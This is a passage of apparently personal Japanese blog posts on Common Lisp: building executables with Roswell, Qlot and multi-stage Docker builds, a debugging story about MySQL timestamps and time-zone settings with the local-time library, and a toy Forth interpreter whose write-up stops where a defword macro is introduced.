Common Lisp (Roswell)とDockerで実行可能ファイルをビルド
この記事はLispアドベントカレンダーの7日目の記事です。
ざっくり
Common Lispの処理系マネージャ・スクリプティング環境であるRoswellとライブラリバージョン固定化ツールQlotを用いて、
- Common Lispのプロジェクト(システム)の実行可能バイナリを作成し、
- Common Lisp環境が入っていない人でも実行できるようDockerコンテナ化し、
- 推し進め、コードに変更があったときでも高速にビルド
- Common Lispプロジェクトのビルド環境としてDockerコンテナを利用
します。そしてその結果がこのリポジトリ(のsolstice
ブランチ)です。
背景・動機
おしごとで書けたり、あとは自分でつくっているプログラムであったりを、ひとつの実行可能ファイルにまとめて、さっと配布したりデプロイしたりしたいなあ、という動機です。
自分でつくっているプログラムについてはこの記事のやつです。
次のバージョンをめざしていろいろ実験中です。ビューのHTMLや画像をメモリに持ってみたり、テンプレートエンジンをLSXにしてみたり(問題の ツイート)、シングルバイナリ化もそうだし、あと、Dockerコンテナ内高速ビルド(二回目以降)など。
Dockerコンテナ化には、もともとはおしごとで、パートナーがMac使いだったために発生したものです(ぼくはGNU/Linux使い)。そこでマルチステージビルドによるコンテナイメージの作成過程をキャッシュする方法などを覚え、そこそこストレスのない感じになっています。
RoswellとQlotについて
去年の拙作のこの記事にも初心者向けな感じで書いていますが、いま一度。
Roswell
Common Lispには処理系が複数あり、マイナーな言語であるため最新のバージョンがaptのようなパッケージリポジトリに入っていないので、常用している場合にCommon Lisp環境をさっと導入するのはあまり簡単ではありません。
では、RubyのrbenvやPythonのpyenvのようなものがほしくなるのですが、あります。それがRoswellです。
Roswellは基本的には処理系マネージャなのですが、そのほかにも以下のような機能が提供されています(公式のREADMEより):
- 処理系のインストール管理
- Common Lispによるスクリプティング(Roswellスクリプト)
- Roswellスクリプトの実行可能形式へのビルド
- スクリプトのセットアップの簡単化
- CLIとの高い親和性
- CLIによる、QuicklispやGitHubリポジトリからのシステムのインストール
- Windowsのサポート
- CIでの利用
Common Lisp各処理系のコマンドラインインターフェースはばらばらであり、元来処理系ポータブルなスクリプトを書くことはめんどくさいものでした。Roswellのスクリプティング機能は、処理系ポータブルに設計されており、ひとつのスクリプトを複数の処理系で動かすことができます。非常に便利です。また、Roswellではメモリのダンプイメージ作成機能を(一部の処理系で)備えており、Roswellのスクリプトを読み込んで実行可能ファイルとして吐き出すことも可能です。
なので、ここではそれらを組み合わせて、実行可能ファイルのコマンドラインインターフェースとしてRoswellを利用しました。
Qlot
Common Lispでは「システム」(他言語でいうパッケージ)の取得にQuicklispを利用することが多いです。でも、システムのバージョンを個々に指定する機能はないです。そのため依存するシステムのバージョンが導入のタイミングが異なるために変わってしまう、という状況があり得ます。
そんな状況でお困りのあなたに、Qlotです。Qlotを利用すると、システムの依存システムを固定してしまうことができるので、過去につくったプログラムが依存システムの仕様変更などなどで動かない、ということを防ぐことができます。
Node.jsのnpm
みたいな感じです。
これまではライブラリ的なもの(inquisitor)や、小さなもの(rosa、依存システムなし)ばかりつくっていたので必要性をあまり感じなかったのですが、依存ライブラリが増えてくると、その必要性を感じはじめて、導入しました。
配布・デプロイまでの道
1. プログラムの実行可能ファイルを作成する
まず、システムの構成を考えます。どのようなシステムであれ、Common Lispにおける開発にはきっと対話的な環境を利用することでしょう(GNU EmacsとかLemとか)。なので、基本の構造は対話的に呼べるようにします。コマンドラインから呼ぶときには、
という流れにします。ざっくりとしたフォルダ構成はこんな感じです(細部は省略しています)。
. |-- Dockerfile |-- LICENSE |-- README.md |-- main.lisp |-- niko.asd # 通常のASDFシステム |-- qlfile |-- qlfile.lock |-- release.sh # コンテナビルド用(後述) |-- roswell | `-- niko.ros # CLIで起動するRoswellスクリプト `-- setup.sh # コンテナビルド用(後述)
Roswellスクリプトの中では、REPLでも叩けるように用意した種々の関数を、パースしたコマンドライン引数に応じて呼び出すだけです。つまりだいたいこんな感じです:
;; (中略) (progn ;;init forms (ros:ensure-asdf) #+quicklisp(ql:quickload '(:niko) :silent t) ) (defpackage :ros.script.niko.3752905480 (:use :cl)) (in-package :ros.script.niko.3752905480) ;; (中略) (defun main (&rest argv) (if (= (length argv) 0) (format *error-output* +usage+) (case (intern (string-upcase (string (first argv))) :keyword) (:help (format *error-output* +usage+)) (:version (format *error-output* "~a~%" (niko/util:version))) ;; (中略) (t (format *error-output* "Unknown command '~a'~%" (first argv)) (format *error-output* +usage+))))) ;;; vim: set ft=lisp lisp:
これで、まずは実行できるようになりました。動作確認すると、
$ qlot exec roswell/niko.ros version 0.9.0
よさげです。これをビルドするには、こうやります。
# ビルド $ qlot exec ros build roswell/niko.ros # ビルドした実行可能ファイルで動作確認 $ ./roswell/niko version 0.9.0
こうして生成した実行可能ファイルを他の環境に持っていくときに気をつけることは、依存するシステムを、qlfile
や.asd
ファイルに可能な限り書いておくことです。
Qlotはqlfile
に書かれたシステムのみをプロジェクトのルートディレクトリに導入しますが、そのシステムたちがさらに依存するシステムは、グローバルな(Roswell環境下の)Quicklisp環境を利用するようです。そのため、動的にロードするシステムを切り替えるようなシステムに依存している場合にそれをqlfile
に書かずにいると、動的なロードに失敗します。また、.asd
ファイルに書かずにいるとql:quickload
時にASDFがロードしてくれず、実行時に探しに行って存在しなくエラーとなったりもします。
2. Dockerコンテナ上でビルド&実行
プログラムを引き渡す相手がDocker使いだったり、異なるOS使いだったり、プログラム実行のためだけに環境を入れるのはなあ、という場合は、Dockerfileをつくってそれを渡してあげるとよいでしょう。
Dockerコンテナのビルドは、OSのapt update && apt install
からRoswellのビルド、Qlotのqlot install
、そしてros build
までを一発で実行してもよいのですが、毎度それらを実行していたらストレスで発狂しそうになります。
なので、Dockerのマルチステージビルド
を用いてコンテナのビルド過程を細分化し、各過程をキャッシュしてしまいました(Dockerすごい)。多少ディスク容量を食いますが、ビルド時間が長いよりはだいぶマシです。
これがDockerfileです。
#### This is a Dockerfile for portable building and executing Common Lisp program. #### This requires some preliminalies to the program which built with this: #### #### - The program shall be executed as a single executable file #### - Entry point of the program is written as a roswell script #### - More details, see [Roswell](https://github.com/roswell/roswell) #### #### This Dockerfile can mainly used in two cases: #### #### - To build the executable file #### - To run the program by **not Common Lisp user** ### Base image for building # # If you want to build only once, you should atatch a tag individually like this: # `$ sudo docker build --target niko-cl-base -t niko-cl-base .` FROM ubuntu:18.04 as niko-cl-base # Builder requires some dependent not-Common-Lisp library, because of `ql:quickload`. RUN apt update && apt install -y libev-dev build-essential libcurl4-gnutls-dev autoconf git wget unzip RUN wget https://github.com/roswell/roswell/archive/master.zip && unzip master.zip RUN cd roswell-master && ./bootstrap && ./configure && make && \ make install && ros setup && ros install qlot ### Execution environment # # If you want to build only once, do this: # `$ sudo docker build --target niko-runner -t niko-runner .` FROM ubuntu:18.04 as niko-runner RUN apt update RUN apt install -y libev-dev libcurl4-gnutls-dev autoconf git ### Dependency installed environment (to reduce build speed) # # If you want to build only once, do this: # `$ sudo docker build --target niko-deps -t niko-deps .` FROM niko-cl-base as niko-deps ADD ./qlfile /app/ ADD ./qlfile.lock /app/ RUN cd /app && $HOME/.roswell/bin/qlot install ### Build environment FROM niko-deps as niko-builder ADD ./ /app/ RUN cd /app && $HOME/.roswell/bin/qlot exec ros build roswell/niko.ros ### Execution environment # # You can use this container to run the program or copy executable file built FROM niko-runner COPY --from=niko-builder /app/roswell/niko /usr/bin/niko CMD [ "/usr/bin/niko", "version" ] EXPOSE 5000
FROM
が現れるたびにビルドステージが変わります(イメージが分かれる)。前の段階のイメージは、一度つくってしまえば次はつくる必要がありません。Roswellのインストールなどがそうです。なので、そのようにしてみました。as
の後の名前でタグをつけておけば、それが次回より利用されるようになります。タグ付けビルドをさっと実行できるよう、setup.sh
を用意してあります。
$ sudo ./setup.sh $ sudo docker build . 0.9.0
コンテナのビルド過程で、qlfile
や.asd
に追加すべきだった隠れた依存ライブラリを発見できるという点で、Dockerコンテナ内でのクリーンなビルドはかなり意味があるなと感じました。
3. ビルド成果物を取り出し
ところで、リリース成果物を作成するのに、このDockerコンテナ使えないかしら……。
一度走らせたコンテナであれば、中からファイルを取り出したり、その逆にファイルを入れたりすることができます。なので、リリース環境とDocker環境のOSの種類やバージョンを合わせておけば、あらふしぎ、リリース成果物が自動でつくれちゃうんです。そしてそれを行うのがrelease.sh
です。
#!/bin/sh VERSION=$( qlot exec ros run -e "(format t \"~a\" (slot-value (asdf:find-system :niko) 'asdf:version))" -q) RELEASE_DIR="Niko_v$VERSION" mkdir $RELEASE_DIR cp ./README.md $RELEASE_DIR sudo docker build -t niko . sudo docker run -t niko:latest sudo docker ps -af ancestor=niko:latest -q sudo docker cp "$(sudo docker ps -af ancestor=niko:latest -q):/usr/bin/niko" $RELEASE_DIR sudo docker ps -f ancestor=niko -q | xargs sudo docker rm tar cf - $RELEASE_DIR | gzip > "$RELEASE_DIR.tar.gz" ls $RELEASE_DIR/ rm -rf $RELEASE_DIR
こいつを実行すると、3分だけ待ってやるだけで配布物を固めた.tar.gz
ができています。
ここで注意する点としては、あたりまえですが実行環境とビルド環境の種類・バージョンを一致させることです。debian:stretch
でビルドしたものをubuntu:18.04
で実行したりなんかすると、たとえば「libssl.so.1.0.0
がないよー」などといってプログラムが落ちます。CFFIがダイナミックリンクする対象を決めているのはそのシステムがロードされたとき(つまりビルド時)なので、ビルド時の環境と実行時の環境で.so
のファイル名やバージョンが異なっているときなどにこの問題が発生します。
まとめ
RoswellとQlotを用いて、Common LispプログラムをDockerでどっかーんとビルドした。
Dockerfileがあると、Docker内でプログラムを実行させることによって、Common Lisp環境をつくることなしにプログラムを実行してもらうことができた。
また、コンテナのビルド結果をキャッシュし、高速にビルドが完了するDockerfileを書くことができた。
そして、コンテナでのCommon Lispプログラムのビルド成果物を用いて、さくっとデプロイ準備を完了するこができた。
Dockerってすごいね。
Common Lispと時間とタイムゾーン
Common Lispと時間とタイムゾーン
この記事はLispアドベントカレンダーの4日目の記事です。
あらまし
Common Lispで日時を扱う場合、ANSI仕様には日時のための関数がいくつか定められていますが極めて基本的なものしか存在しません。日時から文字列への変換とその逆、日付の比較や計算といったものは自前で実装する必要があります。が、そんなのいちいちやっていられない。そんなあなたのためのライブラリが日時ライブラリlocal-timeです。
Common Lisp標準仕様における日時
まずは、Common Lispが日時についてどのような機能を提供しているか確認しましょう。この節の内容はCommon Lisp Hyperspecの時刻の章を参考資料として、要約する形で書いています。
Common Lispの仕様では、日時のデータとして以下のものを提供しています:
- Decoded time
- Universal time
- Internal time
- Second
各個を簡単に説明します。
Decoded time
これは九つの値のリストです。日時の内部表現としては通常UNIX timeのように、ある基準日時からの秒数という形がとられることが多いと思いますが、それを人間が扱いやすい形にしたものです。リストには次の内容が含まれます:「秒」「分」「時」「日」「月」「年」「曜日」「日中」「サマータイムの影響下か否か」「タイムゾーンオフセット」。get-decoded-time
関数で現在時刻を取得したり、後述のuniversal timeから変換して得ることができます。
Universal time
これは整数値で、GMTにおける1900年1月1日の0:00からの秒数です。なので精度は秒です。Decoded timeと違うのは、日時の計算(三時間後とか前日零時など)や比較(この日時は今日か、など)が行いやすいことです。ただし、秒と所望の単位との変換にそれなりの労力を必要とします。
Internal time
これも整数値ですが、こちらは秒以下の精度がほしいときに使うものです。計算機内部のタイマーや、可能ならばHPETを利用して値を取得するようですので、精度は環境に依存します。秒にいくつの「単位」が詰まっているか、要するに精度ですが、internal-time-units-per-second
で確認できます。
Second
これは整数値で、秒を表します。sleep
関数の引数となるものです。
以上四つがCommon LispのANSI仕様で公式に定義されている日時表現です。プリミティブすぎるので、実際に実用する際には抽象化を施す必要がありそうです。そして、その抽象化をしてくれるライブラリがあるのです。それが次の節で述べる、local-timeというライブラリです。
日時ライブラリ: local-time
ANSI仕様で提供された日時関数群では、たとえば以下のようなことをするのにひと手間ふた手間かけなければなりません:
- 日時を所望のフォーマットの文字列に変換する
- 文字列で表現された日時を日時データに変換する
- ある日時の三日後、二年前、といった日時を計算する
- タイムゾーンを
Asia/Tokyo
といった文字列で指定し、計算や比較のときに考慮する
そんな手間を一挙に引き受けてくれるのが、ライブラリlocal-timeです。
とりあえず現在時刻を取得しましょう。こんなふうにすると、時刻がlocal-time:timestamp
クラスのインスタンスが返ってきます:
CL-USER> (local-time:now) @2018-12-02T12:28:33.527163+09:00
よくある処理の例として、ある時点においてセッションが有効かどうかの判定を行うとします。セッションは4時間で無効になるとしましょうか。それはこんなふうな処理になります。
;; 4時間以内に作成されたセッションは有効 CL-USER> (defun session-available-p (session-created) (local-time:timestamp<= (local-time:timestamp- (local-time:now) 4 :hour) session-created)) SESSION-AVAILABLE-P ;; 有効なセッション CL-USER> (defparameter session-created (local-time:now)) SESSION-CREATED CL-USER> (session-available-p session-created) T ;; 5時間前につくられたセッション CL-USER> (defparameter unavailable-session ;; decoded-timeの各値を指定してtimestampを生成 (local-time:encode-timestamp 0 0 0 0 2 12 2018)) UNAVAILABLE-SESSION CL-USER> (session-available-p unavailable-session) NIL
時差についてはどのように扱えばよいのでしょうか。まず、local-timeはシステムのタイムゾーン設定を読みとって、その内容をlocal-time:*default-timezone*
にセットしています。たとえばぼくのマシン(Asia/Tokyo
)で見てみるとこんな感じです。
CL-USER> local-time:*default-timezone*
#<LOCAL-TIME::TIMEZONE LMT JDT JST JST>
たとえばこれを外部サーバのRDBMSがUS/Eastern
なので揃えたいという場合、以下のようにしてタイムゾーン情報をロードしたあとに、タイムゾーン情報を名前で指定して設定する、ということをします。
;; タイムゾーン情報を読み込み CL-USER> (local-time:reread-timezone-repository) ; No value CL-USER> (local-time:find-timezone-by-location-name "US/Eastern") #<LOCAL-TIME::TIMEZONE EDT EST EWT EPT> T ;; タイムゾーンをUS/Easternに設定(と前後の確認) CL-USER> (local-time:now) @2018-12-03T23:56:26.228703+09:00 CL-USER> (setf local-time:*default-timezone* (local-time:find-timezone-by-location-name "US/Eastern")) #<LOCAL-TIME::TIMEZONE EDT EST EWT EPT> CL-USER> (local-time:now) @2018-12-03T09:56:31.047229-05:00
ちなみにもし揃えたいタイムゾーンがUTCの場合、定数local-time:+utc-zone+
にはじめから設定してあるので、こちらを利用するとよいでしょう。
どうでしょう。地味ながら、それなしではつくれないソフトウェアがぼろぼろありそうな、とても感謝なライブラリということがおわかりいただけたと思います。
まとめ
この記事ではANSI Common Lisp仕様における日時の扱い方を解説し、より実践的で便利なライブラリであるlocal-timeを紹介しました。日時の扱いは間違いを生みやすく、そして時々刻々と変化するため再現の難しいバグを生みやすいです。基本的には自分で実装したりせず、信頼できるライブラリを用いましょう。
……ん? 記事はもう終わりですよ?
Common Lispと時間とタイムゾーン 〜 設定のブレに気をつけろ!
ある日、日時を扱うソフトウェアをつくっていてハマったことがあったんです。
それは、おしごとでのある案件でねぇ、そのときはlocal-timeの不具合だったように見えたんですよ。わたしはねぇ、「Lispアドベントカレンダーのネタにしよう」と思ってわくわくしていたんです。わくわくして記事を書いて、ふと、再現実験させてみちゃったりする。すると、再現しないんですよ。恐ろしくてね、こう、冷や汗がタラ〜って、流れてしまいましてねぇ。
——これは、そんな哀しみの物語。
発生現象
そのとき書いていたソフトウェアはあるウェブアプリケーションのバックエンドプログラムでした。そのシステムではアクセス可能時間を制御しており、DBに記録される最終操作日時が特定の時間を過ぎるまで操作が行えないという処理が必要でした。処理系にはSBCLを選択し、RDBMSとしてMySQLを利用しておりました。各RDBMSのクライアントライブラリはlocal-timeい依存しておらず、したがってDBから取得される日時は素のCommon Lispで扱えるuniversal timeでやってきます。
そこで、Universal timeを受けとり、現在操作が可能かを判定する述語として以下のようなready-p
を用意してAPIのほうで呼び出していました。
;; プログラムの最初でタイムゾーンをUTCにしている、こんなコードで: ;; (setf local-time:*default-timezone* local-time:+utc-zone+) ;; 理由は`local-time:today`はUTCでの0:00を返すため (defun ready-p (created-at) (or (null created-at) (let ((created-at (universal-to-timestamp created-at))) (timestamp<= created-at (timestamp+ (local-time:today) 2 :hour))))))
このプログラムのフロントエンドを担当していたプログラマはMac使い(ぼくはUbuntu使い)で、Common Lispで実行可能バイナリを作成可能とはいえ、Ubuntuでつくったバイナリをそのまま渡しても動きません。なので、Docker上にUbuntu環境をつくってその上でビルドし、そのDockerfile
を渡すようにしました(そのへんの話は12/7(金)のLispアドベントカレンダー記事(TODO:リンクを貼ること)に書きます)。
そして、渡したDockerfile
をビルドした彼が云って曰く、
「なんか日時の処理がおかしい…🤔」
具体的には、システム時計が2018-12-04T17:00:00Z
のときに上記のコードにcreated-at
引数に2018-12-04T2:00:01Z
相当のuniversal timeを与えてready-p
を呼ぶと、nil
が返ってくるのです(同日の2:00:01
は2:00:00
より後なので、t
となるのが正しい)。
なんでじゃ。なんでなのじゃ…。
調査開始
時刻の不具合といえばやっぱりタイムゾーンがあやしいです。なのでいろいろ話したり試したり調べたりしてみたところ、次のようなことがわかりました:
- SQL仕様では
timestamp
型には、タイムゾーンありとタイムゾーンなしものがある(参考: PostgreSQL 9.4.5のマニュアル) - MySQLはタイムゾーンありの
timestamp
は存在しない!(参考: MySQL 5.6のマニュアル) - ぼくの環境では直でMySQL Serverが動いており、マシンのタイムゾーンは
Asia/Tokyo
に設定されている - 彼の環境ではDockerコンテナ内でMySQL Serverが動いており、OSのタイムゾーンは未設定(おそらくUTC)
タイムゾーンについてほかの影響要素はないかと調べると、POSIXシステムにおいてはTZ
環境変数を通じてタイムゾーンをユーザが変更できるようでした(参考: GNU libcのマニュアル)。
立てた仮説はこうです。
「TZ
環境変数の値によって、local-time:universal-to-timestamp
の返す値が異なるのではないか?」
そこで、手元マシン、タイムゾーンがUTCな仮想マシンを作成し、こんな感じで検証してみました。
$ TZ='Asia/Tokyo' ros run -s local-time -e '(setf local-time:*default-timezone* local-time:+utc-zone+) (print (local-time:universal-to-timestamp 3800000000)) (terpri)(quit)' @2020-06-01T11:33:20.000000Z $ TZ='UTC' ros run -s local-time -e '(setf local-time:*default-timezone* local-time:+utc-zone+) (print (local-time:universal-to-timestamp 3800000000)) (terpri)(quit)' @2020-06-01T11:33:20.000000Z
お、おぉ……? 同じ日時になっとるやんけ。あのおしごとでの解決方法はなんだったんだ…? その場では上記仮説に従い、
(defun universal-to-timestamp* (ut) (multiple-value-bind (sec min hour date month year) (decode-universal-time ut) (encode-timestamp 0 sec min hour date month year)))
というコードを追加して、UTCに直す、ということをやったのですが、それは間違っていたということなの…?
追加調査
結論からいえば、間違っていました。正しい原因はこうです。
「mysqld
とCommon Lispのプログラムとの間でタイムゾーンの設定が異なると、cl-mysqlがtimestamp (SQLの型)をuniversal timeに変換するときに時間がずれる」
家で上記の確認をしても、一向に現象が再現できないため、新たな方向で調べはじめました。確認のために書いたコードはこれです。タイムゾーンがUTCに設定されたVMを立て、その中で、データベースの作成後にまずcraete-table
とinsert-row
を流し、その後tztest
テーブルの中身を、TZ
環境変数の値を変えつつ見てみます。
#!/bin/sh #|-*- mode:lisp -*-|# #| exec ros -Q -- $0 "$@" |# (progn ;;init forms (ros:ensure-asdf) #+quicklisp(ql:quickload '(:uiop :cl-dbi :dbd-mysql :sxql :local-time) :silent t) ) (defpackage :ros.script.tztest.3752729426 (:use :cl)) (in-package :ros.script.tztest.3752729426) (defmacro with-db ((var) &body body) `(cl-dbi:with-connection (,var :mysql :database-name "tztest" :host "localhost" :username "root" :password "root") (cl-mysql-system::set-character-set "utf8mb4") ,@body)) (defun execute-sql (conn sxql) (multiple-value-bind (query params) (sxql:yield sxql) (apply #'dbi:execute (dbi:prepare conn query) params))) (defun create-table () (with-db (conn) (let ((query (sxql:create-table :tztest ((id :type :bigint :not-null t :auto-increment t :primary-key t) (ts :type :timestamp :default (local-time:parse-timestring "2000-01-01")))))) (execute-sql conn query)))) (defun insert-row (ts-str) (with-db (conn) (let ((query (sxql:insert-into :tztest (sxql:set= :ts ts-str)))) (execute-sql conn query)))) (defun select-rows () (with-db (conn) (let ((query (sxql:select (:id :ts) (sxql:from :tztest)))) (dbi:fetch-all (execute-sql conn query))))) (defun print-db-timestamp (row) (format t "~a: ~a~%" (getf row :|id|) (local-time:universal-to-timestamp (getf row :|ts|)))) (defun main (&rest argv) (declare (ignorable argv)) ;; (create-table) ;; (insert-row "2018-12-02 04:00:00") (let ((rows (select-rows))) (format t "***** TZ: ~a, *dt*: ~a~%" (uiop:getenv "TZ") local-time:*default-timezone*) (mapc #'print-db-timestamp rows) (terpri) (setf local-time:*default-timezone* local-time:+utc-zone+) (format t "***** TZ: ~a, *dt*: ~a~%" (uiop:getenv "TZ") local-time:*default-timezone*) (mapc #'print-db-timestamp rows) (terpri))) ;;; vim: set ft=lisp lisp:
mysqld
はTZ
がUTCの状態で固定し、roswellスクリプトのほうはTZ
の値を変えて実行した結果がこちらです。
$ TZ=Asia/Tokyo sudo ./tztest.ros ***** TZ: Asia/Tokyo, *dt*: #<TIMEZONE LMT BST GMT BDST BST BST GMT GMT> 1: 2018-12-01T19:00:00.000000Z ***** TZ: Asia/Tokyo, *dt*: #<TIMEZONE UTC> 1: 2018-12-01T19:00:00.000000Z $ TZ=UTC sudo ./tztest.ros ***** TZ: UTC, *dt*: #<TIMEZONE LMT BST GMT BDST BST BST GMT GMT> 1: 2018-12-02T04:00:00.000000Z ***** TZ: UTC, *dt*: #<TIMEZONE UTC> 1: 2018-12-02T04:00:00.000000Z
見事、cl-mysqlの返す日時にちょうど9時間、UTCとJSTの間の時間分の差が生まれています。
オチ
複数のプログラムが協調して動くシステムを構築するとき、とくに日時や時刻を扱う場合には、走らせるソフトウェアの間でタイムゾーンの設定が同じになるように注意しましょう。
Forthを実装する
Forthを実装する
スタックベース変数いらずのふしぎなプログラミング言語、ForthをCommon Lispで実装しました。というか絶賛開発中のufというもので、これです。
執筆時点で
- 整数値のパース
- 基本的なスタック操作命令と出力
- ワード(Forthにおける関数)の定義と呼び出し
- 条件分岐
- 不完全な(なんだかバグい)REPL
ができます/あります。フィボナッチ数の計算ができるところまでは確認しました。
動機
先日、自作Lispのためハッシュテーブルの実装について考えたと書きました。
そのLispは抽象機械で実行されるタイプにしようと思って考えているのですが、肝心なVMの設計のしかたや感覚がどうにもわからない。じっさいのCPUみたいなものを考えだすと、それはそれでどうもちがうようです。そこで「ほぼ機械語」「スタックマシンみたいなもの」という評の言語があり、名をForthといい、それを覚えてみればいろいろ見えてきそうだなあと思ったため、実装してみました。
実装言語は手慣れているのでCommon Lispにしました。
Forthとは
Forthは、空白で区切られたアトムと呼ばれる構文単位からなるプログラムと、データのやり取りに使うデータスタック、それと他の言語における関数に相当するワード(値ではないアトム)――これは処理の本体を指す――、とその戻りスタック、で構成されたプログラミング言語です。
特徴として、プログラムのほとんどが何かの関数名で構成され、オペランドがないためコードサイズがとても小さくなる、ということがよく言われます。
どうもこの言語、かなり変わったしくみと見た目をしているだけでなく、ANSI、そしてISOで仕様が定められている程度には利用されているようです。最新のForthの仕様は2012年のもの! すごいですねえ。
構文
Forthの構文は非常にシンプルで、スペース区切りで命令を並べていくだけです。実際のForthには文字列やコメントなど、一部のものについてパーサが特別扱いする要素があります。が、今回実装したオレオレForthにはそのようなものはまだ実装されていないので、スペース区切りでトークンが並んでいるものとして差し支えありません。
コード例は以下のような感じです(ただしオレオレ処理系にコメントはありません):
\ 1+2を出力 2 1 + . \ あたらしいワード `<=` (less than or equal)を定義 \ ちなみにForth 2012の規格とは引数の順序が異なる : <= over over < rot swap = or ; \ 上で定義した `<=` を実行して結果を出力(Forthでは-1が真値) 2 1 <= .
意味論
Forthは意味論もとてもシンプルです。Forthにおける切り出されたトークンはアトムとよばれ、アトムには定数とワードの二種類があります。コードを実行するとき、解釈しようとしているアトムがディクショリナリに登録されたワードである場合、そのワードの処理が実行されます。そうでなければ定数としてスタックに積まれます。それだけです。
それまでに登録されているワードを使って新たなワードを自分で定義することができ、そうやって実行環境を拡張しながらプログラムを書いていくのがForthの特徴です。
実装
さて、とりあえずまずは動くものがほしかったので、最小限の要素で実装してみます。とりあえずインタプリタとしてフィボナッチ数が計算できるくらいまでの規模を目指します。
まず、(実装して)用意するものはパーサです。まあこれは「ストリームから一文字ずつ読んでいってバッファに溜めていき、空白やEOFなどの終わりが来たらシンボルの形でプログラムリストに追加」をやるだけです。数値型が使えると電卓になっていいので、とりあえずCommon Lispの整数型に対応させてみました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L26 (defun parse (stream) (let (code buf atomp numberp) (flet ((read-atom (ch) (unless atomp (setf atomp t) (when (digit-char-p ch) (setf numberp t)) (setf buf nil)) (unless (digit-char-p ch) (setf numberp nil)) (push ch buf)) (terminate-atom () (when atomp (setf atomp nil) (let ((s (concatenate 'string (nreverse buf)))) (if numberp (push (parse-integer s) code) (push (intern s :uf/dict) code)))))) (loop :for ch := (read-char stream nil :eof) :until (eq ch :eof) :do (case ch (#\space (terminate-atom)) (#\newline (terminate-atom)) (t (read-atom ch))) :finally (progn (terminate-atom) (return (nreverse code)))))))
つぎに評価器、というか解釈器ですが、その前に必要なオブジェクトを構造体として定義しました。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L55 (defstruct word name fn start system-p) (defstruct vm code ip dict stack rstack ifdepth skip-to debug-p) (defparameter *dictionary* nil) ;; vmのディクショナリから現在指している箇所のアトムを拾う (defun get-atom (vm) (prog1 (nth (vm-ip vm) (vm-code vm)) (incf (vm-ip vm))))
word
構造体は名前と、システム定義のワードの場合は本体の関数、ユーザ定義の場合はコード中のエントリポイントを格納します。あと、実行状態をvm
構造体として定義しました。実行対象のコードそのもの、プログラムカウンタ(ip
)、ディクショナリ、データスタック(stack
)、ワード呼び出しのスタック(rstack
)、条件分岐ワードif
のネストの深さ(ifdepth
)、if
でスキップするときの状態……。これだけの情報があれば、途中からプログラムを再開できそう。できるといいなあ。*dictionary*
はデフォルト状態のディクショナリを保持しておき、vm
を作るときにコピーする運用としたいと思います。
解釈器の前にもうひとつ、ワードの定義処理も書いておきます。ワード定義のためのワード:
がきたらここに飛ぶようにします。定義は、名前(:
の次のワード)を覚えておき、ワードのコード開始位置を覚えたあと、定義終わりのワード;
まで読み飛ばします。この実装ではシステムのワードを上書きできないようにしてあります。また、ディクショナリは本来線形リストにするものらしいですが、めんどくさかったのでCommon Lispのパッケージをひとつ、処理系実行用に当てています。あまりよくないかも…。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L70 ;; compilationの萌芽かな…? (defun define-word (vm) (let ((name (get-atom vm))) (when (null name) (error "invalid word definition : it doesn't have a name.")) (let ((start-pos (vm-ip vm))) (loop :for atom := (get-atom vm) :until (eq atom 'uf/dict::|;|) :do (when (null atom) (error "invalid word definition '~a': it doesn't have ';'." name))) (let ((word (make-word :name name :system-p nil :start start-pos))) (let ((w (find name (vm-dict vm) :key #'word-name))) (if (and (not (null w)) (word-system-p w)) (error "cannot overwrite the predefined word: ~s" name) (push word (vm-dict vm))))))))
そして、解釈器本体です。コードはとても長いというわけではないので意を決して貼ります。
やっていることはとっても単純で、ワード定義の:
や;
、条件分岐のif
、else
、then
を特別扱いしつつ、そのいずれでもなかった場合は、ディクショナリからのワード探索を行なう、というふうにしました。(vm-skip-to vm)
で分岐してスキップのときの処理と、通常の解釈のときの処理を分けていますが、これはif
のためです。ワード定義はネストされませんが、if
はネストされる可能性があります。そのため、if
の深さを見ながら不要な部分をスキップする処理が、スキップ部分の処理です。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/core.lisp#L87:embed:cite ;; interpretationの萌芽かな…? (defun execute (vm) (loop :for atom := (get-atom vm) :until (null atom) :do (when (vm-debug-p vm) (format t "; name = '~a', stack = ~s, ifdepth = ~s, skip-to = ~s~%" atom (vm-stack vm) (vm-ifdepth vm) (vm-skip-to vm))) :if (not (null (vm-skip-to vm))) :do (cond ((eq atom 'uf/dict::|if|) (incf (vm-ifdepth vm))) ((eq atom 'uf/dict::|else|) (cond ((zerop (vm-ifdepth vm)) (error "unexpected `else`")) ((and (eq (car (vm-skip-to vm)) :false) (= (1+ (cdr (vm-skip-to vm))) (vm-ifdepth vm))) (setf (vm-skip-to vm) nil)))) ((eq atom 'uf/dict::|then|) (if (zerop (vm-ifdepth vm)) (error "unexpected `then`") (progn (decf (vm-ifdepth vm)) (when (= (vm-ifdepth vm) (cdr (vm-skip-to vm))) (setf (vm-skip-to vm) nil)))))) :else :do (cond ((eq atom 'uf/dict::|:|) (define-word vm)) ((eq atom 'uf/dict::|;|) (if (null (vm-rstack vm)) (error "invalid syntax: reach ';' with empty rstack.") (setf (vm-ip vm) (pop (vm-rstack vm))))) ((eq atom 'uf/dict::|if|) (unless (= (pop (vm-stack vm)) -1) (setf (vm-skip-to vm) (cons :false (vm-ifdepth vm)))) (incf (vm-ifdepth vm))) ((eq atom 'uf/dict::|else|) (cond ((zerop (vm-ifdepth vm)) (error "unexpected `else`")) ((null (vm-skip-to vm)) (setf (vm-skip-to vm) (cons :true (1- (vm-ifdepth vm))))))) ((eq atom 'uf/dict::|then|) (if (zerop (vm-ifdepth vm)) (error "unexpected `else`") (progn (decf (vm-ifdepth vm)) (when (and (vm-skip-to vm) (> (vm-ifdepth vm) (cdr (vm-skip-to vm))))) (setf (vm-skip-to vm) nil)))) (t (let ((word (find atom (vm-dict vm) :key #'word-name))) (if word (if (word-system-p word) (funcall (word-fn word) vm) (progn (push (vm-ip vm) (vm-rstack vm)) (setf (vm-ip vm) (word-start word)))) (push atom (vm-stack vm))))))))
あとは、基本的なワードを定義するのみですが、これにはそこそこ長いコードを毎回書かなくてはならずめんどうです。そこでマクロdefword
を書いて楽をしました。
